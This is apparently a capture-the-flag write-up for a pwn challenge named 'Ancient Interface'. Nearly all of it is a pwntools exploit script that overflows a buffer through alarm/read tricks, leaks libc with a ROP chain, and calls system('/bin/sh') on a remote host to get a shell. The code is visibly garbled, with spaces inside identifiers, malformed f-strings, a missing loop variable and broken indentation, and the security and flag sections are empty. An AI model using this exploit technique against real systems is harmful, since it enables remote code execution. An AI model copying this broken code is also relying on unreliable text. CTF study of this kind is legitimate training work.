Ancient Interface

1) Checked security

2) Exploit

```
#!/usr/bin/env python3
from pwn import *
context(os='linux', arch='amd64', log level='error')
context.terminal = ['tmux', 'splitw', '-h']
exe = ELF("ancient interface")
libc = ELF("./libc.so.6")
context.binary = exe
# io = gdb.debug(exe.path, 'handle SIGALRM pass', api=True)
io = remote('94.237.50.37', 57429)
def alarm(seconds):
    io.sendlineafter(b'$ ', f'alarm {seconds}'.encode())
def read(size, varname, data):
    io.sendlineafter(b'$ ', f'read {size} {varname}'.encode())
    sleep(0.01)
    io.sendline(data)
def fill vars():
    # fill the variables to prevent function call
    for i in range (64):
        read(8, f'var{i}', b'aaaaaaaa')
       print(f'' \ 1033[2KSending vars: {i}/64", end="")
def overflow(data=b''):
    for i in range(16): # move read pointer to buf-16 (read returns negative )
        print(f'' \ 1033[2KSending Alarm {i+1}/16", end="")
        alarm(30)
        sleep(0.2)
    io.sendlineafter(b'$ ', f'read {10} var'.encode())
    for in range (16):
        io.recvuntil(b'hit!')
       print(f'' \ (i+1)/16'', end="")
   print("\nSending payload...")
```

```
io.send(p32(4096)+p32(4200)+p64(0x404500))
    sleep(1)
    io.send(data)
    io.send(b'a'*100)
# leak libc address
rop chain = ROP(exe)
rop chain.raw(0x404500)
rop chain.rdi = exe.got.puts
rop chain.raw (0x401174)
rop chain.raw(0x401290)
fill vars()
overflow(rop chain.chain())
io.recvuntil(b'reached\n')
libc.address = unpack(io.recv(6), 'all') - libc.sym.puts
print(f"Leaked libc: {hex(libc.address)}")
# ret2system
rop chain = ROP(exe)
rop chain.raw (0x404500)
rop chain.rdi = next(libc.search(b'/bin/sh\x00'))
rop_chain.rsi = 0
rop chain.raw(libc.sym.system)
fill vars()
overflow(rop chain.chain())
io.sendline(";clear")
io.clean()
print("Popped your shell!")
io.interactive()
```

3) Flag